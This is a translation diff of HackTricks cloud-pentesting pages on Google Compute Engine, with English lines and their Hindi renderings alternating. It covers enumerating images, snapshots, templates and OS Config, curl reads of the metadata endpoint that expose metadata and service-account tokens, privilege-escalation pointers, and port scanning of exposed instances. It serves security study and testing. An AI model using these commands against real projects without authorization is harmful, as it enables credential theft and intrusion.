||||
|
||||
Compute Engine Serial Console Logs are a feature that allows you to **view and diagnose the boot and operating system logs** of your virtual machine instances.
|
||||
Compute Engine Serial Console Logs एक फीचर है जो आपको **अपने वर्चुअल मशीन इंस्टेंस के बूट और ऑपरेटिंग सिस्टम लॉग्स को देखने और निदान करने** की अनुमति देता है।
|
||||
|
||||
Serial Console Logs provide a **low-level view of the instance's boot process**, including kernel messages, init scripts, and other system events that occur during boot-up. This can be useful for debugging boot issues, identifying misconfigurations or software errors, or troubleshooting network connectivity problems.
|
||||
Serial Console Logs **इंस्टेंस के बूट प्रक्रिया का एक निम्न-स्तरीय दृश्य प्रदान करते हैं**, जिसमें कर्नेल संदेश, इनिट स्क्रिप्ट, और अन्य सिस्टम घटनाएँ शामिल हैं जो बूट-अप के दौरान होती हैं। यह बूट समस्याओं को डिबग करने, गलत कॉन्फ़िगरेशन या सॉफ़्टवेयर त्रुटियों की पहचान करने, या नेटवर्क कनेक्टिविटी समस्याओं को हल करने के लिए उपयोगी हो सकता है।
|
||||
|
||||
These logs **may expose sensitive information** from the system logs which low privileged user may not usually see, but with the appropriate IAM permissions you may be able to read them.
|
||||
|
||||
You can use the following [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) to query the serial port logs (the permission required is `compute.instances.getSerialPortOutput`):
|
||||
ये लॉग **संवेदनशील जानकारी को उजागर कर सकते हैं** जो सिस्टम लॉग से होती है जिसे निम्न स्तर के उपयोगकर्ता आमतौर पर नहीं देख सकते, लेकिन उचित IAM अनुमतियों के साथ आप उन्हें पढ़ने में सक्षम हो सकते हैं।
|
||||
|
||||
आप निम्नलिखित [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) का उपयोग करके सीरियल पोर्ट लॉग्स को क्वेरी कर सकते हैं (आवश्यक अनुमति `compute.instances.getSerialPortOutput` है):
|
||||
```bash
|
||||
gcloud compute instances get-serial-port-output <instance-name>
|
||||
```
|
||||
|
||||
## Startup Scripts output
|
||||
|
||||
It's possible to see the **output of the statup scripts** from the VM executing:
|
||||
|
||||
यह संभव है कि **स्टार्टअप स्क्रिप्ट्स का आउटपुट** VM से देखा जा सके जो निष्पादित हो रहा है:
|
||||
```bash
|
||||
sudo journalctl -u google-startup-scripts.service
|
||||
```
|
||||
|
||||
## OS Configuration Manager
|
||||
|
||||
You can use the OS configuration management service to **deploy, query, and maintain consistent configurations** (desired state and software) for your VM instance (VM). On Compute Engine, you must use [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) to maintain consistent software configurations on a VM.
|
||||
आप OS configuration management सेवा का उपयोग **VM instance (VM) के लिए निरंतर कॉन्फ़िगरेशन (इच्छित स्थिति और सॉफ़्टवेयर) को तैनात, क्वेरी और बनाए रखने** के लिए कर सकते हैं। Compute Engine पर, आपको VM पर निरंतर सॉफ़्टवेयर कॉन्फ़िगरेशन बनाए रखने के लिए [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) का उपयोग करना होगा।
|
||||
|
||||
The OS Configuration management feature allows you to define configuration policies that specify which software packages should be installed, which services should be enabled, and which files or configurations should be present on your VMs. You can use a declarative approach to managing the software configuration of your VMs, which enables you to automate and scale your configuration management process more easily.
|
||||
OS Configuration management सुविधा आपको कॉन्फ़िगरेशन नीतियों को परिभाषित करने की अनुमति देती है जो यह निर्दिष्ट करती हैं कि कौन से सॉफ़्टवेयर पैकेज स्थापित किए जाने चाहिए, कौन से सेवाएँ सक्षम की जानी चाहिए, और आपके VMs पर कौन से फ़ाइलें या कॉन्फ़िगरेशन मौजूद होने चाहिए। आप अपने VMs के सॉफ़्टवेयर कॉन्फ़िगरेशन को प्रबंधित करने के लिए एक घोषणात्मक दृष्टिकोण का उपयोग कर सकते हैं, जो आपको अपने कॉन्फ़िगरेशन प्रबंधन प्रक्रिया को स्वचालित और स्केल करने में अधिक आसानी प्रदान करता है।
|
||||
|
||||
This also allow to login in instances via IAM permissions, so it's very **useful for privesc and pivoting**.
|
||||
यह IAM अनुमतियों के माध्यम से उदाहरणों में लॉगिन करने की भी अनुमति देता है, इसलिए यह **privesc और pivoting के लिए बहुत उपयोगी है**।
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **enable os-config in a whole project or in an instance** you just need to set the **metadata** key **`enable-oslogin`** to **`true`** at the desired level.\
|
||||
> Moreover, you can set the metadata **`enable-oslogin-2fa`** to **`true`** to enable the 2fa.
|
||||
> **किसी पूरे प्रोजेक्ट या किसी उदाहरण में os-config सक्षम करने के लिए** आपको बस **metadata** कुंजी **`enable-oslogin`** को **`true`** पर सेट करने की आवश्यकता है।\
|
||||
> इसके अलावा, आप 2fa सक्षम करने के लिए metadata **`enable-oslogin-2fa`** को **`true`** पर सेट कर सकते हैं।
|
||||
>
|
||||
> When you enable it when crating an instance the metadata keys will be automatically set.
|
||||
> जब आप इसे एक उदाहरण बनाते समय सक्षम करते हैं, तो मेटाडेटा कुंजियाँ स्वचालित रूप से सेट की जाएंगी।
|
||||
|
||||
More about **2fa in OS-config**, **it only applies if the user is a user**, if it's a SA (like the compute SA) it won't require anything extra.
|
||||
**OS-config में 2fa के बारे में अधिक**, यह केवल तब लागू होता है जब उपयोगकर्ता एक उपयोगकर्ता हो, यदि यह एक SA (जैसे compute SA) है तो इसे कुछ अतिरिक्त की आवश्यकता नहीं होगी।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud compute os-config patch-deployments list
|
||||
gcloud compute os-config patch-deployments describe <patch-deployment>
|
||||
@@ -160,43 +151,37 @@ gcloud compute os-config patch-deployments describe <patch-deployment>
|
||||
gcloud compute os-config patch-jobs list
|
||||
gcloud compute os-config patch-jobs describe <patch-job>
|
||||
```
|
||||
|
||||
## Images
|
||||
|
||||
### Custom Images
|
||||
|
||||
**Custom compute images may contain sensitive details** or other vulnerable configurations that you can exploit.
|
||||
**कस्टम कंप्यूट इमेज में संवेदनशील विवरण** या अन्य कमजोर कॉन्फ़िगरेशन हो सकते हैं जिन्हें आप भेद सकते हैं।
|
||||
|
||||
When an image is created you can choose **3 types of encryption**: Using **Google managed key** (default), a **key from KMS**, or a **raw key** given by the client.
|
||||
जब एक इमेज बनाई जाती है, तो आप **3 प्रकार की एन्क्रिप्शन** चुन सकते हैं: **गूगल प्रबंधित कुंजी** (डिफ़ॉल्ट), **KMS से कुंजी**, या **क्लाइंट द्वारा दी गई कच्ची कुंजी**।
|
||||
|
||||
#### Enumeration
|
||||
|
||||
You can query the list of non-standard images in a project with the following command:
|
||||
|
||||
आप निम्नलिखित कमांड के साथ एक प्रोजेक्ट में गैर-मानक इमेज की सूची पूछ सकते हैं:
|
||||
```bash
|
||||
gcloud compute machine-images list
|
||||
gcloud compute machine-images describe <name>
|
||||
gcloud compute machine-images get-iam-policy <name>
|
||||
```
|
||||
|
||||
You can then [**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **the virtual disks** from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation:
|
||||
|
||||
आप फिर [**निर्यात**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **वर्चुअल डिस्क** को किसी भी इमेज से कई प्रारूपों में कर सकते हैं। निम्नलिखित कमांड इमेज `test-image` को qcow2 प्रारूप में निर्यात करेगा, जिससे आप फ़ाइल को डाउनलोड कर सकते हैं और आगे की जांच के लिए स्थानीय रूप से एक VM बना सकते हैं:
|
||||
```bash
|
||||
gcloud compute images export --image test-image \
|
||||
--export-format qcow2 --destination-uri [BUCKET]
|
||||
--export-format qcow2 --destination-uri [BUCKET]
|
||||
|
||||
# Execute container inside a docker
|
||||
docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
|
||||
```
|
||||
#### विशेषाधिकार वृद्धि
|
||||
|
||||
#### Privilege Escalation
|
||||
Compute Instances विशेषाधिकार वृद्धि अनुभाग की जांच करें।
|
||||
|
||||
Check the Compute Instances privilege escalation section.
|
||||
|
||||
### Custom Instance Templates
|
||||
|
||||
An [**instance template**](https://cloud.google.com/compute/docs/instance-templates/) **defines instance properties** to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate:
|
||||
### कस्टम इंस्टेंस टेम्पलेट्स
|
||||
|
||||
एक [**इंस्टेंस टेम्पलेट**](https://cloud.google.com/compute/docs/instance-templates/) **इंस्टेंस गुणों को परिभाषित करता है** ताकि सुसंगत कॉन्फ़िगरेशन को तैनात करने में मदद मिल सके। इनमें चल रहे इंस्टेंस के कस्टम मेटाडेटा के समान प्रकार के संवेदनशील डेटा हो सकते हैं। आप जांचने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
# List the available templates
|
||||
gcloud compute instance-templates list
|
||||
@@ -204,32 +189,25 @@ gcloud compute instance-templates list
|
||||
# Get the details of a specific template
|
||||
gcloud compute instance-templates describe [TEMPLATE NAME]
|
||||
```
|
||||
|
||||
It could be interesting to know which disk is new images using, but these templates won't usually have sensitive information.
|
||||
यह जानना दिलचस्प हो सकता है कि नए इमेज़ किस डिस्क का उपयोग कर रहे हैं, लेकिन ये टेम्पलेट आमतौर पर संवेदनशील जानकारी नहीं रखेंगे।
|
||||
|
||||
## Snapshots
|
||||
|
||||
The **snapshots are backups of disks**. Note that this is not the same as cloning a disk (another available feature).\
|
||||
The **snapshot** will use the **same encryption as the disk** it's taken from.
|
||||
**Snapshots डिस्क के बैकअप होते हैं**। ध्यान दें कि यह डिस्क को क्लोन करने के समान नहीं है (एक और उपलब्ध विशेषता)।\
|
||||
**Snapshot** उस **डिस्क के समान एन्क्रिप्शन का उपयोग करेगा** जिससे इसे लिया गया है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
gcloud compute snapshots list
|
||||
gcloud compute snapshots describe <snapshot>
|
||||
gcloud compute snapshots get-iam-policy <snapshot>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Check the Compute Instances privilege escalation section.
|
||||
Compute Instances विशेषाधिकार वृद्धि अनुभाग की जांच करें।
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+33
-39
@@ -4,104 +4,98 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Compute Instances are **customizable virtual machines on Google's cloud infrastructure**, offering scalable and on-demand computing power for a wide range of applications. They provide features like global deployment, persistent storage, flexible OS choices, and strong networking and security integrations, making them a versatile choice for hosting websites, processing data, and running applications efficiently in the cloud.
|
||||
Google Cloud Compute Instances **गूगल के क्लाउड इन्फ्रास्ट्रक्चर पर अनुकूलन योग्य वर्चुअल मशीनें** हैं, जो विभिन्न प्रकार के अनुप्रयोगों के लिए स्केलेबल और ऑन-डिमांड कंप्यूटिंग पावर प्रदान करती हैं। ये वैश्विक तैनाती, स्थायी भंडारण, लचीले OS विकल्प और मजबूत नेटवर्किंग और सुरक्षा एकीकरण जैसी सुविधाएँ प्रदान करती हैं, जिससे ये वेबसाइटों को होस्ट करने, डेटा संसाधित करने और क्लाउड में अनुप्रयोगों को कुशलतापूर्वक चलाने के लिए एक बहुपरकारी विकल्प बनती हैं।
|
||||
|
||||
### Confidential VM
|
||||
|
||||
Confidential VMs use **hardware-based security features** offered by the latest generation of AMD EPYC processors, which include memory encryption and secure encrypted virtualization. These features enable the VM to protect the data processed and stored within it from even the host operating system and hypervisor.
|
||||
Confidential VMs **हार्डवेयर-आधारित सुरक्षा सुविधाओं** का उपयोग करती हैं जो नवीनतम पीढ़ी के AMD EPYC प्रोसेसर द्वारा प्रदान की जाती हैं, जिसमें मेमोरी एन्क्रिप्शन और सुरक्षित एन्क्रिप्टेड वर्चुअलाइजेशन शामिल हैं। ये सुविधाएँ VM को इसके भीतर संसाधित और संग्रहीत डेटा की सुरक्षा करने में सक्षम बनाती हैं, यहां तक कि होस्ट ऑपरेटिंग सिस्टम और हाइपरवाइजर से भी।
|
||||
|
||||
To run a Confidential VM it might need to **change** things like the **type** of the **machine**, network **interface**, **boot disk image**.
|
||||
Confidential VM चलाने के लिए इसे **बदलने** की आवश्यकता हो सकती है जैसे कि **मशीन का प्रकार**, नेटवर्क **इंटरफेस**, **बूट डिस्क इमेज**।
|
||||
|
||||
### Disk & Disk Encryption
|
||||
|
||||
It's possible to **select the disk** to use or **create a new one**. If you select a new one you can:
|
||||
आप **डिस्क का चयन** करने या **नई बनाने** के लिए स्वतंत्र हैं। यदि आप एक नई डिस्क का चयन करते हैं, तो आप:
|
||||
|
||||
- Select the **size** of the disk
|
||||
- Select the **OS**
|
||||
- Indicate if you want to **delete the disk when the instance is deleted**
|
||||
- **Encryption**: By **default** a **Google managed key** will be used, but you can also **select a key from KMS** or indicate **raw key to use**.
|
||||
- **डिस्क का आकार** चुन सकते हैं
|
||||
- **OS** चुन सकते हैं
|
||||
- संकेत कर सकते हैं कि क्या आप **इंस्टेंस के हटाए जाने पर डिस्क को हटाना चाहते हैं**
|
||||
- **एन्क्रिप्शन**: **डिफ़ॉल्ट** रूप से एक **गूगल प्रबंधित कुंजी** का उपयोग किया जाएगा, लेकिन आप **KMS से एक कुंजी का चयन** भी कर सकते हैं या **उपयोग करने के लिए कच्ची कुंजी** निर्दिष्ट कर सकते हैं।
|
||||
|
||||
### Deploy Container
|
||||
|
||||
It's possible to deploy a **container** inside the virtual machine.\
|
||||
It possible to configure the **image** to use, set the **command** to run inside, **arguments**, mount a **volume**, and **env variables** (sensitive information?) and configure several options for this container like execute as **privileged**, stdin and pseudo TTY.
|
||||
यह वर्चुअल मशीन के अंदर एक **कंटेनर** तैनात करना संभव है।\
|
||||
आप उपयोग करने के लिए **इमेज** कॉन्फ़िगर कर सकते हैं, अंदर चलाने के लिए **कमांड** सेट कर सकते हैं, **आर्गुमेंट्स**, एक **वॉल्यूम** माउंट कर सकते हैं, और **env वेरिएबल्स** (संवेदनशील जानकारी?) सेट कर सकते हैं और इस कंटेनर के लिए कई विकल्प कॉन्फ़िगर कर सकते हैं जैसे **privileged** के रूप में निष्पादित करना, stdin और pseudo TTY।
|
||||
|
||||
### Service Account
|
||||
|
||||
By default, the **Compute Engine default service account** will be used. The email of this SA is like: `<proj-num>-compute@developer.gserviceaccount.com`\
|
||||
This service account has **Editor role over the whole project (high privileges).**
|
||||
डिफ़ॉल्ट रूप से, **कंप्यूट इंजन डिफ़ॉल्ट सेवा खाता** का उपयोग किया जाएगा। इस SA का ईमेल इस प्रकार है: `<proj-num>-compute@developer.gserviceaccount.com`\
|
||||
इस सेवा खाते के पास **पूरे प्रोजेक्ट पर संपादक की भूमिका (उच्च विशेषाधिकार)** है।
|
||||
|
||||
And the **default access scopes** are the following:
|
||||
और **डिफ़ॉल्ट एक्सेस स्कोप** निम्नलिखित हैं:
|
||||
|
||||
- **https://www.googleapis.com/auth/devstorage.read\_only** -- Read access to buckets :)
|
||||
- **https://www.googleapis.com/auth/devstorage.read\_only** -- बकेट्स तक पढ़ने की पहुंच :)
|
||||
- https://www.googleapis.com/auth/logging.write
|
||||
- https://www.googleapis.com/auth/monitoring.write
|
||||
- https://www.googleapis.com/auth/servicecontrol
|
||||
- https://www.googleapis.com/auth/service.management.readonly
|
||||
- https://www.googleapis.com/auth/trace.append
|
||||
|
||||
However, it's possible to **grant it `cloud-platform` with a click** or specify **custom ones**.
|
||||
हालांकि, इसे **एक क्लिक से `cloud-platform` प्रदान करना** या **कस्टम स्कोप** निर्दिष्ट करना संभव है।
|
||||
|
||||
<figure><img src="../../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Firewall
|
||||
|
||||
It's possible to allow HTTP and HTTPS traffic.
|
||||
HTTP और HTTPS ट्रैफ़िक की अनुमति देना संभव है।
|
||||
|
||||
<figure><img src="../../../../images/image (326).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Networking
|
||||
|
||||
- **IP Forwarding**: It's possible to **enable IP forwarding** from the creation of the instance.
|
||||
- **Hostname**: It's possible to give the instance a permanent hostname.
|
||||
- **Interface**: It's possible to add a network interface
|
||||
- **IP Forwarding**: इंस्टेंस के निर्माण से **IP फॉरवर्डिंग सक्षम करना** संभव है।
|
||||
- **Hostname**: इंस्टेंस को एक स्थायी होस्टनेम देना संभव है।
|
||||
- **Interface**: एक नेटवर्क इंटरफेस जोड़ना संभव है।
|
||||
|
||||
### Extra Security
|
||||
|
||||
These options will **increase the security** of the VM and are recommended:
|
||||
ये विकल्प VM की **सुरक्षा बढ़ाएंगे** और अनुशंसित हैं:
|
||||
|
||||
- **Secure boot:** Secure boot helps protect your VM instances against boot-level and kernel-level malware and rootkits.
|
||||
- **Enable vTPM:** Virtual Trusted Platform Module (vTPM) validates your guest VM pre-boot and boot integrity, and offers key generation and protection.
|
||||
- **Integrity supervision:** Integrity monitoring lets you monitor and verify the runtime boot integrity of your shielded VM instances using Stackdriver reports. Requires vTPM to be enabled.
|
||||
- **Secure boot:** Secure boot आपके VM इंस्टेंस को बूट-स्तरीय और कर्नेल-स्तरीय मैलवेयर और रूटकिट से बचाने में मदद करता है।
|
||||
- **Enable vTPM:** वर्चुअल ट्रस्टेड प्लेटफॉर्म मॉड्यूल (vTPM) आपके गेस्ट VM की प्री-बूट और बूट अखंडता को मान्य करता है, और कुंजी निर्माण और सुरक्षा प्रदान करता है।
|
||||
- **Integrity supervision:** Integrity monitoring आपको Stackdriver रिपोर्टों का उपयोग करके आपके शील्डेड VM इंस्टेंस की रनटाइम बूट अखंडता की निगरानी और सत्यापन करने की अनुमति देता है। vTPM को सक्षम करना आवश्यक है।
|
||||
|
||||
### VM Access
|
||||
|
||||
The common way to enable access to the VM is by **allowing certain SSH public keys** to access the VM.\
|
||||
However, it's also possible to **enable the access to the VM vial `os-config` service using IAM**. Moreover, it's possible to enable 2FA to access the VM using this service.\
|
||||
When this **service** is **enabled**, the access via **SSH keys is disabled.**
|
||||
VM तक पहुंच सक्षम करने का सामान्य तरीका है **कुछ SSH सार्वजनिक कुंजियों** को VM तक पहुंचने की अनुमति देना।\
|
||||
हालांकि, यह भी संभव है कि **IAM का उपयोग करके `os-config` सेवा के माध्यम से VM तक पहुंच सक्षम करें**। इसके अलावा, इस सेवा का उपयोग करके VM तक पहुंच के लिए 2FA सक्षम करना भी संभव है।\
|
||||
जब यह **सेवा** **सक्षम** होती है, तो **SSH कुंजियों के माध्यम से पहुंच अक्षम** होती है।
|
||||
|
||||
<figure><img src="../../../../images/image (328).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Metadata
|
||||
|
||||
It's possible to define **automation** (userdata in AWS) which are **shell commands** that will be executed every time the machine turns on or restarts.
|
||||
|
||||
It's also possible to **add extra metadata key-value values** that are going to be accessible from the metadata endpoint. This info is commonly used for environment variables and startup/shutdown scripts. This can be obtained using the **`describe` method** from a command in the enumeration section, but it could also be retrieved from the inside of the instance accessing the metadata endpoint.
|
||||
यह **स्वचालन** (AWS में userdata) को परिभाषित करना संभव है जो **शेल कमांड** हैं जो हर बार मशीन चालू होने या पुनरारंभ होने पर निष्पादित होंगे।
|
||||
|
||||
यह भी संभव है कि **अतिरिक्त मेटाडेटा कुंजी-मूल्य मान** जो मेटाडेटा एंडपॉइंट से सुलभ होंगे, जोड़े जाएं। यह जानकारी आमतौर पर पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए उपयोग की जाती है। इसे **`describe` विधि** का उपयोग करके enumeration अनुभाग में एक कमांड से प्राप्त किया जा सकता है, लेकिन इसे इंस्टेंस के अंदर मेटाडेटा एंडपॉइंट तक पहुंचकर भी प्राप्त किया जा सकता है।
|
||||
```bash
|
||||
# view project metadata
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
-H "Metadata-Flavor: Google"
|
||||
|
||||
# view instance metadata
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
|
||||
Moreover, **auth token for the attached service account** and **general info** about the instance, network and project is also going to be available from the **metadata endpoint**. For more info check:
|
||||
इसके अलावा, **संलग्न सेवा खाते के लिए प्रमाणीकरण टोकन** और **इंस्टेंस, नेटवर्क और प्रोजेक्ट के बारे में सामान्य जानकारी** भी **मेटाडेटा एंडपॉइंट** से उपलब्ध होगी। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
{{#endref}}
|
||||
|
||||
### Encryption
|
||||
### एन्क्रिप्शन
|
||||
|
||||
A Google-managed encryption key is used by default a but a Customer-managed encryption key (CMEK) can be configured. You can also configure what to do when the used CMEF is revoked: Noting or shut down the VM.
|
||||
डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है लेकिन एक ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK) को कॉन्फ़िगर किया जा सकता है। आप यह भी कॉन्फ़िगर कर सकते हैं कि जब उपयोग की गई CMEF को रद्द किया जाता है तो क्या करना है: नोटिंग या VM को बंद करना।
|
||||
|
||||
<figure><img src="../../../../images/image (329).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+30
-34
@@ -4,71 +4,71 @@
|
||||
|
||||
## **GCP Compute Networking in a Nutshell**
|
||||
|
||||
**VPCs** contains **Firewall** rules to allow incoming traffic to the VPC. VPCs also contains **subnetworks** where **virtual machines** are going to be **connected**.\
|
||||
Comparing with AWS, **Firewall** would be the **closest** thing to **AWS** **Security Groups and NACLs**, but in this case these are **defined in the VPC** and not in each instance.
|
||||
**VPCs** में **Firewall** नियम होते हैं जो VPC में आने वाले ट्रैफ़िक की अनुमति देते हैं। VPCs में **subnetworks** भी होते हैं जहाँ **virtual machines** **connected** होने वाले हैं।\
|
||||
AWS की तुलना में, **Firewall** **AWS** **Security Groups और NACLs** के **सबसे करीब** होगा, लेकिन इस मामले में ये **VPC में परिभाषित** होते हैं और प्रत्येक उदाहरण में नहीं।
|
||||
|
||||
## **VPC, Subnetworks & Firewalls in GCP**
|
||||
|
||||
Compute Instances are connected **subnetworks** which are part of **VPCs** ([Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc)). In GCP there aren't security groups, there are [**VPC firewalls**](https://cloud.google.com/vpc/docs/firewalls) with rules defined at this network level but applied to each VM Instance.
|
||||
Compute Instances **subnetworks** से जुड़े होते हैं जो **VPCs** का हिस्सा होते हैं ([Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc)). GCP में सुरक्षा समूह नहीं होते, वहाँ [**VPC firewalls**](https://cloud.google.com/vpc/docs/firewalls) होते हैं जिनके नियम इस नेटवर्क स्तर पर परिभाषित होते हैं लेकिन प्रत्येक VM Instance पर लागू होते हैं।
|
||||
|
||||
### Subnetworks
|
||||
|
||||
A **VPC** can have **several subnetworks**. Each **subnetwork is in 1 region**.
|
||||
एक **VPC** में **कई subnetworks** हो सकते हैं। प्रत्येक **subnetwork 1 क्षेत्र में है**।
|
||||
|
||||
### Firewalls
|
||||
|
||||
By default, every network has two [**implied firewall rules**](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): **allow outbound** and **deny inbound**.
|
||||
डिफ़ॉल्ट रूप से, प्रत्येक नेटवर्क में दो [**implied firewall rules**](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules) होते हैं: **allow outbound** और **deny inbound**।
|
||||
|
||||
When a GCP project is created, a VPC called **`default`** is also created, with the following firewall rules:
|
||||
जब एक GCP प्रोजेक्ट बनाया जाता है, तो एक VPC जिसे **`default`** कहा जाता है, भी बनाया जाता है, जिसमें निम्नलिखित फ़ायरवॉल नियम होते हैं:
|
||||
|
||||
- **default-allow-internal:** allow all traffic from other instances on the `default` network
|
||||
- **default-allow-ssh:** allow 22 from everywhere
|
||||
- **default-allow-rdp:** allow 3389 from everywhere
|
||||
- **default-allow-icmp:** allow ping from everywhere
|
||||
- **default-allow-internal:** `default` नेटवर्क पर अन्य उदाहरणों से सभी ट्रैफ़िक की अनुमति दें
|
||||
- **default-allow-ssh:** हर जगह से 22 की अनुमति दें
|
||||
- **default-allow-rdp:** हर जगह से 3389 की अनुमति दें
|
||||
- **default-allow-icmp:** हर जगह से पिंग की अनुमति दें
|
||||
|
||||
> [!WARNING]
|
||||
> As you can see, **firewall rules** tend to be **more permissive** for **internal IP addresses**. The default VPC permits all traffic between Compute Instances.
|
||||
> जैसा कि आप देख सकते हैं, **firewall rules** **internal IP addresses** के लिए **अधिक उदार** होते हैं। डिफ़ॉल्ट VPC Compute Instances के बीच सभी ट्रैफ़िक की अनुमति देता है।
|
||||
|
||||
More **Firewall rules** can be created for the default VPC or for new VPCs. [**Firewall rules**](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following **methods**:
|
||||
डिफ़ॉल्ट VPC या नए VPCs के लिए अधिक **Firewall rules** बनाए जा सकते हैं। [**Firewall rules**](https://cloud.google.com/vpc/docs/firewalls) को निम्नलिखित **methods** के माध्यम से उदाहरणों पर लागू किया जा सकता है:
|
||||
|
||||
- [**Network tags**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
|
||||
- [**Service accounts**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
|
||||
- **All instances within a VPC**
|
||||
- **एक VPC के भीतर सभी उदाहरण**
|
||||
|
||||
Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.
|
||||
दुर्भाग्यवश, इंटरनेट पर खुले पोर्ट वाले सभी Compute Instances को निकालने के लिए कोई सरल `gcloud` कमांड नहीं है। आपको फ़ायरवॉल नियमों, नेटवर्क टैग, सेवा खातों और उदाहरणों के बीच कनेक्शन बनाना होगा।
|
||||
|
||||
This process was automated using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:
|
||||
इस प्रक्रिया को [इस पायथन स्क्रिप्ट](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) का उपयोग करके स्वचालित किया गया था जो निम्नलिखित को निर्यात करेगा:
|
||||
|
||||
- CSV file showing instance, public IP, allowed TCP, allowed UDP
|
||||
- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
|
||||
- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
|
||||
- CSV फ़ाइल जो उदाहरण, सार्वजनिक IP, अनुमत TCP, अनुमत UDP दिखाती है
|
||||
- nmap स्कैन जो सार्वजनिक इंटरनेट (0.0.0.0/0) से अनुमति प्राप्त पोर्टों पर सभी उदाहरणों को लक्षित करता है
|
||||
- masscan जो उन उदाहरणों की पूर्ण TCP रेंज को लक्षित करता है जो सार्वजनिक इंटरनेट (0.0.0.0/0) से सभी TCP पोर्टों की अनुमति देते हैं
|
||||
|
||||
### Hierarchical Firewall Policies <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
|
||||
|
||||
_Hierarchical firewall policies_ let you create and **enforce a consistent firewall policy across your organization**. You can assign **hierarchical firewall policies to the organization** as a whole or to individual **folders**. These policies contain rules that can explicitly deny or allow connections.
|
||||
_Hierarchical firewall policies_ आपको अपने संगठन में एक सुसंगत फ़ायरवॉल नीति बनाने और **लागू करने** की अनुमति देती हैं। आप **hierarchical firewall policies** को संगठन के रूप में या व्यक्तिगत **folders** पर असाइन कर सकते हैं। इन नीतियों में नियम होते हैं जो स्पष्ट रूप से कनेक्शनों को अस्वीकार या अनुमति दे सकते हैं।
|
||||
|
||||
You create and apply firewall policies as separate steps. You can create and apply firewall policies at the **organization or folder nodes of the** [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy). A firewall policy rule can **block connections, allow connections, or defer firewall rule evaluation** to lower-level folders or VPC firewall rules defined in VPC networks.
|
||||
आप फ़ायरवॉल नीतियों को अलग-अलग चरणों के रूप में बनाते और लागू करते हैं। आप [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) के **organization या folder nodes** पर फ़ायरवॉल नीतियों को बना और लागू कर सकते हैं। एक फ़ायरवॉल नीति नियम **कनेक्शनों को ब्लॉक कर सकता है, कनेक्शनों की अनुमति दे सकता है, या फ़ायरवॉल नियम मूल्यांकन को निम्न स्तर के फ़ोल्डरों या VPC नेटवर्क में परिभाषित VPC फ़ायरवॉल नियमों पर स्थगित कर सकता है।**
|
||||
|
||||
By default, all hierarchical firewall policy rules apply to all VMs in all projects under the organization or folder where the policy is associated. However, you can **restrict which VMs get a given rule** by specifying [target networks or target service accounts](https://cloud.google.com/vpc/docs/firewall-policies#targets).
|
||||
डिफ़ॉल्ट रूप से, सभी hierarchical firewall policy नियम सभी परियोजनाओं में सभी VMs पर लागू होते हैं जहाँ नीति जुड़ी होती है। हालाँकि, आप [लक्षित नेटवर्क या लक्षित सेवा खातों](https://cloud.google.com/vpc/docs/firewall-policies#targets) को निर्दिष्ट करके यह **सीमित कर सकते हैं कि कौन से VMs को एक नियम प्राप्त होता है**।
|
||||
|
||||
You can read here how to [**create a Hierarchical Firewall Policy**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud).
|
||||
